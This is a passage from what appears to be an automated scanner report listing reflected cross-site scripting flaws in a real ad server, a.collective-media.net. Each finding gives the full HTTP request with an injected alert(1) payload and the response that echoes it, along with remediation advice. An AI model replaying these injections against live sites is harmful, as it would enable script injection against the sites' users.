P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 442
Date: Thu, 21 Apr 2011 01:29:05 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Sat, 21-May-2011 01:29:05 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://k.collective-media.net/cmadj/cm.glam_style79f31'-alert(1)-'a96910d97e8/;sz=160x600;net=cm;ord=1303349054;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.7. http://a.collective-media.net/adj/cm.glam_style/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/cm.glam_style/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e5789'-alert(1)-'8eb0f877f25 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/cm.glam_style/;sz=160x600;ord=1303349054?&e5789'-alert(1)-'8eb0f877f25=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d5a43de1-76cb-482d-b60c-710bb61c0a49?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349054
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; dc=dc; apnx=1; qcms=1; nadp=1; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 446
Date: Thu, 21 Apr 2011 01:29:02 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Sat, 21-May-2011 01:29:02 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://k.collective-media.net/cmadj/cm.glam_style/;sz=160x600;net=cm;ord=1303349054?&e5789'-alert(1)-'8eb0f877f25=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.8. http://a.collective-media.net/adj/cm.glam_style/ [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/cm.glam_style/

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c20e'-alert(1)-'a0458ba84a8 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/cm.glam_style/;sz=160x600;ord=1303349054?1c20e'-alert(1)-'a0458ba84a8 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d5a43de1-76cb-482d-b60c-710bb61c0a49?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349054
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; dc=dc; apnx=1; qcms=1; nadp=1; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 443
Date: Thu, 21 Apr 2011 01:29:00 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Sat, 21-May-2011 01:29:00 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://k.collective-media.net/cmadj/cm.glam_style/;sz=160x600;net=cm;ord=1303349054?1c20e'-alert(1)-'a0458ba84a8;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.9. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 179a9'-alert(1)-'8bab3f5f0bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp179a9'-alert(1)-'8bab3f5f0bf/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 626
Date: Sat, 26 Feb 2011 00:19:28 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:28 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/manta.comp179a9'-alert(1)-'8bab3f5f0bf/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;
...[SNIP]...

3.10. http://a.collective-media.net/adj/manta.comp/energy_resources [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6850'-alert(1)-'345e4ad839d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resourcesf6850'-alert(1)-'345e4ad839d;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 626
Date: Sat, 26 Feb 2011 00:19:29 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:29 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/manta.comp/energy_resourcesf6850'-alert(1)-'345e4ad839d;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001
...[SNIP]...

3.11. http://a.collective-media.net/adj/manta.comp/energy_resources [k parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97420'-alert(1)-'8b2472a3796 was submitted in the k parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resources;k=waste+disposal;c=704%2B0154271761;pos=top;sz=300x250;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;dcopt=ist;tile=2;ord=9636399718001484?97420'-alert(1)-'8b2472a3796 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/manta/mads/generic.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea; apnx=1; nadp=1; blue=1; qcdp=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 670
Date: Sat, 26 Feb 2011 00:19:44 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:44 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
=300x250;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;dcopt=ist;tile=2;net=mt;ord=9636399718001484?97420'-alert(1)-'8b2472a3796;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.12. http://a.collective-media.net/adj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11c75'-alert(1)-'9ed8bcfa867 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484?&11c75'-alert(1)-'9ed8bcfa867=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 630
Date: Sat, 26 Feb 2011 00:19:27 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:27 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484?&11c75'-alert(1)-'9ed8bcfa867=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.13. http://a.collective-media.net/adj/manta.comp/energy_resources [pos parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e66d'-alert(1)-'827aa445761 was submitted in the pos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484?5e66d'-alert(1)-'827aa445761 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 627
Date: Sat, 26 Feb 2011 00:19:22 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:22 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484?5e66d'-alert(1)-'827aa445761;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.14. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b73f'-alert(1)-'409c7f48e56 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj4b73f'-alert(1)-'409c7f48e56/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:31 GMT
Connection: close
Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:31 GMT
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:31 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:31 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:31 GMT
Content-Length: 8216

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-38123617_1298679571","http://ad.doubleclick.net/adj4b73f'-alert(1)-'409c7f48e56/manta.comp/energy_resources;net=mt;u=,mt-38123617_1298679571,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;cmw=owl;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;s
...[SNIP]...

3.15. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e702'-alert(1)-'a761657800e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp3e702'-alert(1)-'a761657800e/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:32 GMT
Connection: close
Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:32 GMT
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:32 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:32 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:32 GMT
Content-Length: 8208

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-14050729_1298679572","http://ad.doubleclick.net/adj/manta.comp3e702'-alert(1)-'a761657800e/energy_resources;net=mt;u=,mt-14050729_1298679572,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;
...[SNIP]...

3.16. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf5cf'-alert(1)-'a9747c5027c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resourcesbf5cf'-alert(1)-'a9747c5027c;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:37 GMT
Connection: close
Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:37 GMT
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:37 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:37 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:37 GMT
Content-Length: 8208

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-67481131_1298679577","http://ad.doubleclick.net/adj/manta.comp/energy_resourcesbf5cf'-alert(1)-'a9747c5027c;net=mt;u=,mt-67481131_1298679577,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resour
...[SNIP]...

3.17. http://a.collective-media.net/cmadj/manta.comp/energy_resources [k parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

